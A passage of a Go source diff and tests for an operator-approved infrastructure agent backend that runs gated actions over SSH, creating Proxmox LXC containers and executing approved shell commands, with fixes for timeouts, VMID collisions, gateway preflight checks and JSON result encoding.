{`{"privileged":"true","nesting":"no"}`, true, false, false},
|
||||
{`{}`, false, false, false}, // absent → zero
|
||||
{`{"privileged":"maybe"}`, false, false, true},
|
||||
}
|
||||
for _, c := range cases {
|
||||
var out cfg
|
||||
err := json.Unmarshal([]byte(c.in), &out)
|
||||
if (err != nil) != c.wantErr {
|
||||
t.Fatalf("%s: err=%v wantErr=%v", c.in, err, c.wantErr)
|
||||
}
|
||||
if c.wantErr {
|
||||
continue
|
||||
}
|
||||
if bool(out.Privileged) != c.privileged || bool(out.Nesting) != c.nesting {
|
||||
t.Errorf("%s: got priv=%v nest=%v want priv=%v nest=%v",
|
||||
c.in, bool(out.Privileged), bool(out.Nesting), c.privileged, c.nesting)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveTemplate(t *testing.T) {
|
||||
avail := []string{
|
||||
"debian-12-standard_12.7-1_amd64.tar.zst",
|
||||
"debian-13-standard_13.0-1_amd64.tar.zst",
|
||||
"ubuntu-24.04-standard_24.04-2_amd64.tar.zst",
|
||||
}
|
||||
cases := []struct {
|
||||
requested string
|
||||
want string
|
||||
}{
|
||||
{"debian-13-standard_13.0-1_amd64.tar.zst", "debian-13-standard_13.0-1_amd64.tar.zst"}, // exact
|
||||
{"debian-13", "debian-13-standard_13.0-1_amd64.tar.zst"}, // prefix
|
||||
{"", "debian-13-standard_13.0-1_amd64.tar.zst"}, // auto newest debian
|
||||
{"debian-99", "debian-13-standard_13.0-1_amd64.tar.zst"}, // miss prefix → auto debian
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := resolveTemplate(c.requested, avail); got != c.want {
|
||||
t.Errorf("resolveTemplate(%q): got %q want %q", c.requested, got, c.want)
|
||||
}
|
||||
}
|
||||
if got := resolveTemplate("debian-13", nil); got != "" {
|
||||
t.Errorf("empty cache should yield empty, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestJSONErrValidForNastyOutput guards the bug where command output with
|
||||
// quotes/backslashes/newlines produced invalid JSON, failing the ::jsonb cast
|
||||
// and silently dropping the execution's final status update.
|
||||
func TestJSONErrValidForNastyOutput(t *testing.T) {
|
||||
nasty := "CT 132 already exists on node \"hubris\"\n\tpath C:\\x\r\n\x00 100%"
|
||||
for _, payload := range [][]byte{
|
||||
jsonErr("%s", nasty),
|
||||
jsonErr("list templates on %s: %s", "host:strong", nasty),
|
||||
} {
|
||||
var m map[string]any
|
||||
if err := json.Unmarshal(payload, &m); err != nil {
|
||||
t.Fatalf("jsonErr produced invalid JSON: %v\npayload=%s", err, payload)
|
||||
}
|
||||
if _, ok := m["error"]; !ok {
|
||||
t.Errorf("missing error key: %s", payload)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestGatewayPreflightPassed guards the exact bug found live: "UNREACHABLE"
|
||||
// contains "REACHABLE" as a substring, so a strings.Contains(out,"REACHABLE")
|
||||
// check is true for BOTH outcomes and can never fail. Exact-match only.
|
||||
func TestGatewayPreflightPassed(t *testing.T) {
|
||||
cases := []struct {
|
||||
out string
|
||||
want bool
|
||||
}{
|
||||
{"PREFLIGHT_OK", true},
|
||||
{"PREFLIGHT_OK\n", true},
|
||||
{" PREFLIGHT_OK ", true},
|
||||
{"PREFLIGHT_FAIL", false},
|
||||
{"PREFLIGHT_FAIL\n", false},
|
||||
{"", false},
|
||||
{"some garbage output", false},
|
||||
// the specific historical bug: a naive substring check on the old
|
||||
// REACHABLE/UNREACHABLE markers would have called this true.
|
||||
{"UNREACHABLE", false},
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := gatewayPreflightPassed(c.out); got != c.want {
|
||||
t.Errorf("gatewayPreflightPassed(%q) = %v, want %v", c.out, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// provisionScript and sanitizePkgs were removed when pct_create was made
|
||||
// atomic (create + start + register only) — installing packages and running
|
||||
// setup scripts is now the agent's own job via follow-up `run` calls, which
|
||||
// already has its own classifier/sanitization tests in internal/policy.
|
||||
@@ -3,11 +3,13 @@ package httpapi
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -16,6 +18,7 @@ import (
|
||||
"github.com/dtoro/oikos/internal/domain"
|
||||
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/dtoro/oikos/internal/safego"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
"github.com/jackc/pgx/v5/pgtype"
|
||||
@@ -27,6 +30,26 @@ var (
|
||||
_sshKey []byte
|
||||
)
|
||||
|
||||
// flexBool accepts a JSON bool, number (0/1), or string ("true"/"1"/"yes").
|
||||
// LLMs routinely emit `"privileged": 0` instead of `false`; a strict `bool`
|
||||
// field made the approved pct_create execution fail to parse *after* the
|
||||
// operator had already approved it — the container was never created and the
|
||||
// operator saw "queued" with no result. This type tolerates the common shapes.
|
||||
type flexBool bool
|
||||
|
||||
func (b *flexBool) UnmarshalJSON(data []byte) error {
|
||||
s := strings.TrimSpace(strings.Trim(string(data), `"`))
|
||||
switch strings.ToLower(s) {
|
||||
case "true", "1", "yes", "on":
|
||||
*b = true
|
||||
case "false", "0", "no", "off", "", "null":
|
||||
*b = false
|
||||
default:
|
||||
return fmt.Errorf("cannot parse %q as bool", s)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func initSSH() {
|
||||
if _sshUser == "" {
|
||||
_sshUser = os.Getenv("OIKOS_SSH_USER")
|
||||
@@ -47,6 +70,14 @@ func initSSH() {
|
||||
}
|
||||
}
|
||||
|
||||
// sshExecTimeout bounds how long a single remote command may run. Without
|
||||
// this, a hung remote command (e.g. a piped install script stuck retrying
|
||||
// DNS against a misconfigured gateway) blocks the executing goroutine
|
||||
// forever: the execution never leaves 'approved'/'running', the operator
|
||||
// sees an unkillable spinner, and get_execution_status has nothing new to
|
||||
// report. Generous enough for a real apt/docker install; not infinite.
|
||||
const sshExecTimeout = 10 * time.Minute
|
||||
|
||||
func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
initSSH()
|
||||
if len(_sshKey) == 0 {
|
||||
@@ -81,11 +112,51 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
out, err := session.CombinedOutput(command)
|
||||
if err != nil && out == nil {
|
||||
return "", fmt.Errorf("exec: %w", err)
|
||||
type result struct {
|
||||
out []byte
|
||||
err error
|
||||
}
|
||||
done := make(chan result, 1)
|
||||
go func() {
|
||||
// See internal/mcp/server.go's sshExec for why this recovers rather
|
||||
// than letting a rare SSH-library panic crash the whole api process.
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
done <- result{nil, fmt.Errorf("panic in ssh exec: %v", r)}
|
||||
}
|
||||
}()
|
||||
out, err := session.CombinedOutput(command)
|
||||
done <- result{out, err}
|
||||
}()
|
||||
|
||||
select {
|
||||
case r := <-done:
|
||||
text := strings.TrimSpace(string(r.out))
|
||||
// A non-zero exit MUST surface as an error. The previous guard only
|
||||
// errored when there was no output, so a `pct create` that printed
|
||||
// "CT 132 already exists" and exited non-zero was reported as
|
||||
// success — the execution was marked completed though nothing was
|
||||
// provisioned.
|
||||
if r.err != nil {
|
||||
if text != "" {
|
||||
return text, fmt.Errorf("%w: %s", r.err, text)
|
||||
}
|
||||
return text, fmt.Errorf("exec: %w", r.err)
|
||||
}
|
||||
return text, nil
|
||||
case <-time.After(sshExecTimeout):
|
||||
// Close the session/client to hang up the remote side; the
|
||||
// goroutine above will eventually exit once that unblocks
|
||||
// CombinedOutput, but we don't wait for it — the caller needs an
|
||||
// answer now, not an indefinite hang.
|
||||
session.Close()
|
||||
client.Close()
|
||||
return "", fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||
case <-ctx.Done():
|
||||
session.Close()
|
||||
client.Close()
|
||||
return "", ctx.Err()
|
||||
}
|
||||
return strings.TrimSpace(string(out)), nil
|
||||
}
|
||||
|
||||
func resolveHostSSH(ctx context.Context, pool *db.Pool, entitySlug string) (string, string, error) {
|
||||
@@ -120,6 +191,44 @@ func resolveHostSSH(ctx context.Context, pool *db.Pool, entitySlug string) (stri
|
||||
return "", "", fmt.Errorf("no IP found for %s", entitySlug)
|
||||
}
|
||||
|
||||
// resolveRunTarget mirrors internal/mcp.resolveExecTarget for the approved-
|
||||
// execution side: any target slug (host: or lxc:) resolves to the SSH
|
||||
// endpoint that runs the command plus a wrap function that turns a plain
|
||||
// shell command into what actually needs to be sent — identity for a host,
|
||||
// `pct exec <pve_id>` for an LXC. Kept as a small duplicate rather than a
|
||||
// cross-package import to avoid coupling httpapi to mcp for one helper.
|
||||
func resolveRunTarget(ctx context.Context, pool *db.Pool, targetSlug string) (host, user string, wrap func(string) string, err error) {
|
||||
if strings.HasPrefix(targetSlug, "host:") {
|
||||
host, user, err = resolveHostSSH(ctx, pool, targetSlug)
|
||||
return host, user, func(cmd string) string { return cmd }, err
|
||||
}
|
||||
if strings.HasPrefix(targetSlug, "lxc:") {
|
||||
var pveID, hostAttr string
|
||||
// COALESCE the host column: many older LXC entities (seeded from
|
||||
// inventory, not provisioned by pct_create) have pve_id but no host
|
||||
// attribute at all. Scanning a SQL NULL into a plain string errors
|
||||
// the whole row, wrongly reporting "missing pve_id" even when it was
|
||||
// present — COALESCE avoids the NULL, "" is handled below.
|
||||
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
|
||||
return "", "", nil, fmt.Errorf("LXC not found or missing pve_id: %s", targetSlug)
|
||||
}
|
||||
hostSlug := hostAttr
|
||||
if hostSlug == "" {
|
||||
hostSlug = "hubris"
|
||||
}
|
||||
if !strings.HasPrefix(hostSlug, "host:") {
|
||||
hostSlug = "host:" + hostSlug
|
||||
}
|
||||
host, user, err = resolveHostSSH(ctx, pool, hostSlug)
|
||||
id := pveID
|
||||
return host, user, func(cmd string) string {
|
||||
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", id, b64)
|
||||
}, err
|
||||
}
|
||||
return "", "", nil, fmt.Errorf("unsupported target %q: must be host:<slug> or lxc:<slug>", targetSlug)
|
||||
}
|
||||
|
||||
// executeApprovedAction runs a gated action after operator approval.
|
||||
// Runs in a background goroutine to not block the HTTP response.
|
||||
// emitExecutionEvent records an execution lifecycle event for SSE fan-out so
|
||||
@@ -130,29 +239,52 @@ func emitExecutionEvent(ctx context.Context, pool *db.Pool, execID uuid.UUID, st
|
||||
severity = "warning"
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(pool), "execution."+status, &execID, severity, "actuator", "", detail)
|
||||
if status == "completed" || status == "failed" || status == "cancelled" {
|
||||
closePlanStepForExecution(ctx, pool, execID, status)
|
||||
}
|
||||
}
|
||||
|
||||
// closePlanStepForExecution auto-closes a task plan step whose linked execution
|
||||
// just reached a terminal state, so the task board advances even if the agent
|
||||
// doesn't call update_plan_step itself (belt and suspenders — the agent links
|
||||
// the step to the execution when it starts it; the api finishes it here). Emits
|
||||
// plan.step.finished correlated to the step's session. No-op for the vast
|
||||
// majority of executions, which aren't plan steps.
|
||||
func closePlanStepForExecution(ctx context.Context, pool *db.Pool, execID uuid.UUID, execStatus string) {
|
||||
stepStatus := "done"
|
||||
if execStatus == "failed" || execStatus == "cancelled" {
|
||||
stepStatus = "failed"
|
||||
}
|
||||
var stepID, sessionID string
|
||||
var seq int
|
||||
if err := pool.QueryRow(ctx, `
|
||||
UPDATE session_plan_steps SET status = $2, finished_at = now()
|
||||
WHERE execution_id = $1 AND status NOT IN ('done', 'failed', 'skipped')
|
||||
RETURNING id::text, session_id::text, seq`, execID, stepStatus).Scan(&stepID, &sessionID, &seq); err != nil {
|
||||
return // no matching open step
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(pool), "plan.step.finished", &execID, "info", "actuator", sessionID,
|
||||
map[string]any{"step_id": stepID, "seq": seq, "status": stepStatus, "execution_id": execID.String()})
|
||||
}
|
||||
|
||||
func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID, targetSlug string, actionStr string) {
|
||||
slog.Info("httpapi: executing approved action", "execution_id", execID, "target", targetSlug, "action", actionStr)
|
||||
|
||||
host, user, err := resolveHostSSH(ctx, pool, targetSlug)
|
||||
host, user, wrap, err := resolveRunTarget(ctx, pool, targetSlug)
|
||||
if err != nil {
|
||||
slog.Error("httpapi: resolve host for approved execution", "error", err, "target", targetSlug)
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||
execID, fmt.Sprintf(`{"error":"%s"}`, err.Error()))
|
||||
execID, jsonErr("%s", err.Error()))
|
||||
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
parts := strings.SplitN(actionStr, ":", 3)
|
||||
if len(parts) < 2 {
|
||||
slog.Error("httpapi: malformed action string", "action", actionStr)
|
||||
idx := strings.Index(actionStr, ":")
|
||||
if idx < 0 {
|
||||
slog.Error("httpapi: malformed action string (no colon)", "action", actionStr)
|
||||
return
|
||||
}
|
||||
action, params := parts[0], parts[1]
|
||||
if len(parts) == 3 {
|
||||
params = parts[1] + ":" + parts[2]
|
||||
}
|
||||
action, params := actionStr[:idx], actionStr[idx+1:]
|
||||
|
||||
startedAt := time.Now()
|
||||
var output, cmd string
|
||||
@@ -177,25 +309,312 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
||||
cmd = fmt.Sprintf("apt update -qq 2>&1 >/dev/null && apt upgrade -y -qq 2>&1; echo '---'; systemctl is-active %s || true", svc)
|
||||
output, err = sshExec(ctx, host, user, cmd)
|
||||
|
||||
case "pct_create":
|
||||
var cfg struct {
|
||||
VMID int `json:"vmid"`
|
||||
Hostname string `json:"hostname"`
|
||||
Cores int `json:"cores"`
|
||||
Memory int `json:"memory"`
|
||||
DiskGB int `json:"disk_gb"`
|
||||
IP string `json:"ip"`
|
||||
GW string `json:"gw"`
|
||||
Bridge string `json:"bridge"` // e.g. vmbr0/vmbr1 — which bridge actually reaches the target subnet on this host varies per host, don't assume vmbr0
|
||||
Storage string `json:"storage"`
|
||||
Template string `json:"template"`
|
||||
Privileged flexBool `json:"privileged"`
|
||||
Nesting flexBool `json:"nesting"`
|
||||
Mounts []string `json:"mounts"`
|
||||
Nameserver string `json:"nameserver"`
|
||||
Searchdomain string `json:"searchdomain"`
|
||||
// No services/post_install here anymore — pct_create is atomic
|
||||
// (create + start + register only). Installing packages and
|
||||
// running setup scripts is the agent's job via follow-up `run`
|
||||
// calls against lxc:<hostname>, so each step is individually
|
||||
// observable and recoverable instead of one opaque multi-minute
|
||||
// black box. See the comment above the removed post-create block.
|
||||
}
|
||||
if err := json.Unmarshal([]byte(params), &cfg); err != nil {
|
||||
slog.Error("httpapi: pct_create parse params", "error", err, "params", params)
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||
execID, jsonErr("invalid pct_create params: %v", err))
|
||||
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
// Only hostname is required. vmid is optional — when 0 (or later found
|
||||
// to collide) the VMID guard below assigns a free cluster id.
|
||||
if cfg.Hostname == "" {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||
execID, `{"error":"pct_create: hostname is required"}`)
|
||||
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": "missing hostname"})
|
||||
return
|
||||
}
|
||||
if cfg.Cores == 0 {
|
||||
cfg.Cores = 1
|
||||
}
|
||||
if cfg.Memory == 0 {
|
||||
cfg.Memory = 512
|
||||
}
|
||||
if cfg.DiskGB == 0 {
|
||||
cfg.DiskGB = 8
|
||||
}
|
||||
if cfg.Storage == "" {
|
||||
cfg.Storage = "local-lvm"
|
||||
}
|
||||
if cfg.GW == "" {
|
||||
cfg.GW = "192.168.8.2"
|
||||
}
|
||||
if cfg.Nameserver == "" {
|
||||
cfg.Nameserver = "192.168.8.2"
|
||||
}
|
||||
if cfg.Searchdomain == "" {
|
||||
cfg.Searchdomain = "hubris.network"
|
||||
}
|
||||
// Template pre-flight: resolve against what the host actually has
|
||||
// cached. A hardcoded name (e.g. debian-13) fails opaquely with a raw
|
||||
// `pct` error when that exact file isn't present. List the cache, then
|
||||
// either validate the requested template or auto-pick the newest
|
||||
// debian one; on miss, fail early with the available list so the
|
||||
// operator/agent can retry with a real name.
|
||||
cacheList, tplErr := sshExec(ctx, host, user, "ls -1 /var/lib/vz/template/cache/ 2>/dev/null | grep -E '\\.tar\\.(zst|gz|xz)$' || true")
|
||||
available := []string{}
|
||||
for _, l := range strings.Split(strings.TrimSpace(cacheList), "\n") {
|
||||
if l = strings.TrimSpace(l); l != "" {
|
||||
available = append(available, l)
|
||||
}
|
||||
}
|
||||
if tplErr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||
execID, jsonErr("list templates on %s: %s", targetSlug, tplErr.Error()))
|
||||
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": tplErr.Error()})
|
||||
return
|
||||
}
|
||||
cfg.Template = resolveTemplate(cfg.Template, available)
|
||||
if cfg.Template == "" {
|
||||
msg := fmt.Sprintf("no usable LXC template on %s. Available: %v", targetSlug, available)
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||
execID, jsonErr("%s", msg))
|
||||
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": msg})
|
||||
return
|
||||
}
|
||||
|
||||
// VMID collision guard. Proxmox VMIDs are cluster-wide, so the model's
|
||||
// guess (e.g. 132) can collide with a container on another node — pct
|
||||
// create then fails with "CT N already exists on node X". Fetch the set
|
||||
// of in-use VMIDs across the cluster; if the requested id is taken (or
|
||||
// absent), fall back to the cluster's next free id so provisioning
|
||||
// still succeeds instead of dead-ending on the operator's approval.
|
||||
usedRaw, _ := sshExec(ctx, host, user, `pvesh get /cluster/resources --type vm --output-format json 2>/dev/null | grep -o '"vmid":[0-9]*' | grep -o '[0-9]*' || true`)
|
||||
used := map[int]bool{}
|
||||
for _, l := range strings.Fields(usedRaw) {
|
||||
if n, e := strconv.Atoi(strings.TrimSpace(l)); e == nil {
|
||||
used[n] = true
|
||||
}
|
||||
}
|
||||
if cfg.VMID == 0 || used[cfg.VMID] {
|
||||
nextRaw, nerr := sshExec(ctx, host, user, `pvesh get /cluster/nextid 2>/dev/null`)
|
||||
nextID, cerr := strconv.Atoi(strings.TrimSpace(nextRaw))
|
||||
if nerr != nil || cerr != nil || nextID == 0 {
|
||||
msg := fmt.Sprintf("VMID %d is already in use on the cluster and could not resolve a free id", cfg.VMID)
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||
execID, jsonErr("%s", msg))
|
||||
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": msg})
|
||||
return
|
||||
}
|
||||
slog.Info("httpapi: pct_create VMID reassigned", "requested", cfg.VMID, "assigned", nextID)
|
||||
cfg.VMID = nextID
|
||||
}
|
||||
|
||||
privFlag := "--unprivileged 1"
|
||||
if cfg.Privileged {
|
||||
privFlag = "--unprivileged 0"
|
||||
}
|
||||
|
||||
nestingFlag := ""
|
||||
features := []string{}
|
||||
if cfg.Nesting {
|
||||
features = append(features, "nesting=1")
|
||||
}
|
||||
if cfg.Privileged {
|
||||
features = append(features, "keyctl=1")
|
||||
}
|
||||
if len(features) > 0 {
|
||||
nestingFlag = fmt.Sprintf(" --features %s", strings.Join(features, ","))
|
||||
}
|
||||
|
||||
if cfg.Bridge == "" {
|
||||
cfg.Bridge = "vmbr0"
|
||||
}
|
||||
|
||||
// net0: DHCP when no static IP is given (or ip=="dhcp"). Proxmox
|
||||
// rejects a gateway alongside ip=dhcp, so only add gw for a static IP.
|
||||
net0 := "name=eth0,bridge=" + cfg.Bridge + ","
|
||||
isStatic := cfg.IP != "" && !strings.EqualFold(cfg.IP, "dhcp")
|
||||
if !isStatic {
|
||||
net0 += "ip=dhcp"
|
||||
} else {
|
||||
net0 += "ip=" + cfg.IP
|
||||
if cfg.GW != "" {
|
||||
net0 += ",gw=" + cfg.GW
|
||||
}
|
||||
}
|
||||
|
||||
// Pre-flight: for a static config, ping the gateway from the target
|
||||
// HOST, on the SPECIFIC BRIDGE being requested, before spending 5+
|
||||
// minutes creating the container. This is the check that would have
|
||||
// caught the real TypeType failure immediately instead of after a
|
||||
// full provision attempt.
|
||||
//
|
||||
// Binding to the bridge (`ping -I <bridge>`) matters and was found
|
||||
// live: a plain unqualified `ping <gw>` from the host can succeed via
|
||||
// the host's own routing table (multiple routes, possibly through an
|
||||
// upstream router) even when the *container* — which only gets a
|
||||
// naive on-link default route via its bridge's veth — can never ARP
|
||||
// that gateway at all. Confirmed on `strong`: bare `ping 192.168.8.2`
|
||||
// succeeded (via the host's default route), but a container actually
|
||||
// attached to vmbr0 showed 100% packet loss trying to reach the same
|
||||
// address, because vmbr0 doesn't carry that subnet's L2 segment.
|
||||
// Binding to the bridge interface reproduces what the container will
|
||||
// actually experience, not what the host's broader routing table can
|
||||
// reach.
|
||||
if isStatic && cfg.GW != "" {
|
||||
pingOut, pingErr := sshExec(ctx, host, user, fmt.Sprintf("ping -I %s -c1 -W2 %s >/dev/null 2>&1 && echo PREFLIGHT_OK || echo PREFLIGHT_FAIL", cfg.Bridge, cfg.GW))
|
||||
if pingErr != nil || !gatewayPreflightPassed(pingOut) {
|
||||
msg := fmt.Sprintf(
|
||||
"gateway %s is not reachable from %s on bridge %s — this almost always means the bridge doesn't carry that subnet on this host (each bridge only reaches the network it's physically wired to). "+
|
||||
"Do not retry with a different gateway guess in the same subnet: find an existing LXC on this host with an IP in the same /28 and copy its exact bridge+gateway, or use DHCP instead.",
|
||||
cfg.GW, targetSlug, cfg.Bridge)
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||
execID, jsonErr("%s", msg))
|
||||
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": msg})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
templatePath := fmt.Sprintf("/var/lib/vz/template/cache/%s", cfg.Template)
|
||||
createCmd := fmt.Sprintf(
|
||||
"pct create %d %s --hostname %s --cores %d --memory %d --rootfs %s:%d %s --net0 %s%s --start 1",
|
||||
cfg.VMID, templatePath, cfg.Hostname, cfg.Cores, cfg.Memory,
|
||||
cfg.Storage, cfg.DiskGB, privFlag, net0, nestingFlag)
|
||||
|
||||
if cfg.Nameserver != "" {
|
||||
createCmd += fmt.Sprintf(" --nameserver %s", cfg.Nameserver)
|
||||
}
|
||||
if cfg.Searchdomain != "" {
|
||||
createCmd += fmt.Sprintf(" --searchdomain %s", cfg.Searchdomain)
|
||||
}
|
||||
|
||||
// Add mount points
|
||||
for i, mp := range cfg.Mounts {
|
||||
if i < 10 { // pct supports up to mp9
|
||||
createCmd += fmt.Sprintf(" --mp%d %s", i, mp)
|
||||
}
|
||||
}
|
||||
|
||||
slog.Info("httpapi: pct_create running", "vmid", cfg.VMID, "hostname", cfg.Hostname, "cmd", createCmd)
|
||||
output, err = sshExec(ctx, host, user, createCmd)
|
||||
|
||||
// pct_create is now DELIBERATELY ATOMIC: create + start + register,
|
||||
// nothing else. It used to also run apt installs and a post_install
|
||||
// script inline as one black-box multi-minute SSH call — the agent
|
||||
// got back a single opaque success/fail for the whole thing with no
|
||||
// way to see (or fix) which step actually broke. That's the opposite
|
||||
// of what makes an agent able to recover from errors.
|
||||
//
|
||||
// Installing packages, running post_install, and verifying the
|
||||
// service now happen as the agent's OWN follow-up `run` calls against
|
||||
// the new lxc:<hostname> target — each one is synchronous (in an
|
||||
// active assent window) or individually gated, so the agent observes
|
||||
// every step's real output and can diagnose + retry the exact thing
|
||||
// that failed instead of re-doing the whole container. See SOUL.md
|
||||
// "After pct_create: you drive the install" and provisionScript's
|
||||
// surviving role (DNS self-heal) is now something the agent invokes
|
||||
// itself via `run`, not something baked into this handler.
|
||||
//
|
||||
// cfg.Services/cfg.PostInstall are intentionally no longer read here.
|
||||
|
||||
// On success, register the entity in the DB with proper relationships
|
||||
if err == nil {
|
||||
slug := "lxc:" + cfg.Hostname
|
||||
var lxcID uuid.UUID
|
||||
lxcID, _ = uuid.NewV7()
|
||||
attrs := map[string]any{
|
||||
"pve_id": fmt.Sprintf("%d", cfg.VMID),
|
||||
"host": strings.TrimPrefix(targetSlug, "host:"),
|
||||
"ip": cfg.IP,
|
||||
}
|
||||
attrsJSON, _ := json.Marshal(attrs)
|
||||
_, insErr := pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, enrolled_at)
|
||||
VALUES ($1, $2, 'lxc', $3, 'provisioning', $4, now()) ON CONFLICT (slug) DO NOTHING`, lxcID, slug, cfg.Hostname, attrsJSON)
|
||||
if insErr != nil {
|
||||
slog.Error("httpapi: pct_create entity insert", "error", insErr, "slug", slug)
|
||||
}
|
||||
|
||||
// Create hosts relationship: Proxmox host → LXC
|
||||
var hostID uuid.UUID
|
||||
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", targetSlug).Scan(&hostID); err == nil {
|
||||
_, relErr := pool.Exec(ctx, `INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
||||
VALUES ($1, $2, 'hosts', '{"provisioned_by":"nomos"}'::jsonb, now())`, hostID, lxcID)
|
||||
if relErr != nil {
|
||||
slog.Error("httpapi: pct_create relationship insert", "error", relErr, "host", targetSlug, "lxc", slug)
|
||||
}
|
||||
}
|
||||
|
||||
// Create entity_status row for health tracking
|
||||
pool.Exec(ctx, `INSERT INTO entity_status (entity_id, health, last_check_at)
|
||||
VALUES ($1, 'unknown', now()) ON CONFLICT (entity_id) DO NOTHING`, lxcID)
|
||||
|
||||
emitExecutionEvent(ctx, pool, execID, "executing", map[string]any{
|
||||
"lxc_slug": slug, "vmid": cfg.VMID, "host": targetSlug,
|
||||
})
|
||||
|
||||
slog.Info("httpapi: pct_create entity registered", "slug", slug, "vmid", cfg.VMID, "host", targetSlug)
|
||||
}
|
||||
|
||||
case "run":
|
||||
// The general gated primitive: arbitrary shell against any host or
|
||||
// LXC, approved and classified by internal/policy.ClassifyCommand at
|
||||
// request time (see mcp/server.go's "run" tool). No fixed action
|
||||
// enum — new capability doesn't require new Go code here.
|
||||
var cfg struct {
|
||||
Command string `json:"command"`
|
||||
Purpose string `json:"purpose"`
|
||||
}
|
||||
if perr := json.Unmarshal([]byte(params), &cfg); perr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||
execID, jsonErr("invalid run params: %v", perr))
|
||||
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": perr.Error()})
|
||||
return
|
||||
}
|
||||
cmd = wrap(cfg.Command)
|
||||
output, err = sshExec(ctx, host, user, cmd)
|
||||
|
||||
default:
|
||||
slog.Error("httpapi: unknown gated action for approved execution", "action", action, "execution_id", execID)
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
|
||||
execID, fmt.Sprintf(`{"error":"unknown action: %s"}`, action))
|
||||
execID, jsonErr("unknown action: %s", action))
|
||||
return
|
||||
}
|
||||
|
||||
durationMs := int(time.Since(startedAt).Milliseconds())
|
||||
result := fmt.Sprintf(`{"output":"%s"}`, strings.ReplaceAll(output, "\n", "\\n"))
|
||||
status := "completed"
|
||||
verified := true
|
||||
// Build result via json.Marshal, not string interpolation. Command output
|
||||
// (apt/pct) contains quotes, backslashes and control chars; the old
|
||||
// fmt.Sprintf only escaped "\n", producing invalid JSON that failed the
|
||||
// ::jsonb cast — so this UPDATE was silently discarded and the execution
|
||||
// was stuck at "approved" forever even though provisioning succeeded.
|
||||
resMap := map[string]any{"output": output}
|
||||
if err != nil {
|
||||
result = fmt.Sprintf(`{"output":"%s","error":"%s"}`, strings.ReplaceAll(output, "\n", "\\n"), err.Error())
|
||||
resMap["error"] = err.Error()
|
||||
status = "failed"
|
||||
verified = false
|
||||
}
|
||||
resultJSON, _ := json.Marshal(resMap)
|
||||
|
||||
pool.Exec(ctx, `UPDATE executions SET status=$2, result=$3::jsonb, duration_ms=$4, verified=$5, started_at=$6, completed_at=$7 WHERE entity_id=$1`,
|
||||
execID, status, result, durationMs, verified, startedAt, time.Now())
|
||||
if _, uerr := pool.Exec(ctx, `UPDATE executions SET status=$2, result=$3::jsonb, duration_ms=$4, verified=$5, started_at=$6, completed_at=$7 WHERE entity_id=$1`,
|
||||
execID, status, resultJSON, durationMs, verified, startedAt, time.Now()); uerr != nil {
|
||||
slog.Error("httpapi: finalize execution status", "error", uerr, "execution_id", execID, "intended_status", status)
|
||||
}
|
||||
|
||||
emitExecutionEvent(ctx, pool, execID, status, map[string]any{
|
||||
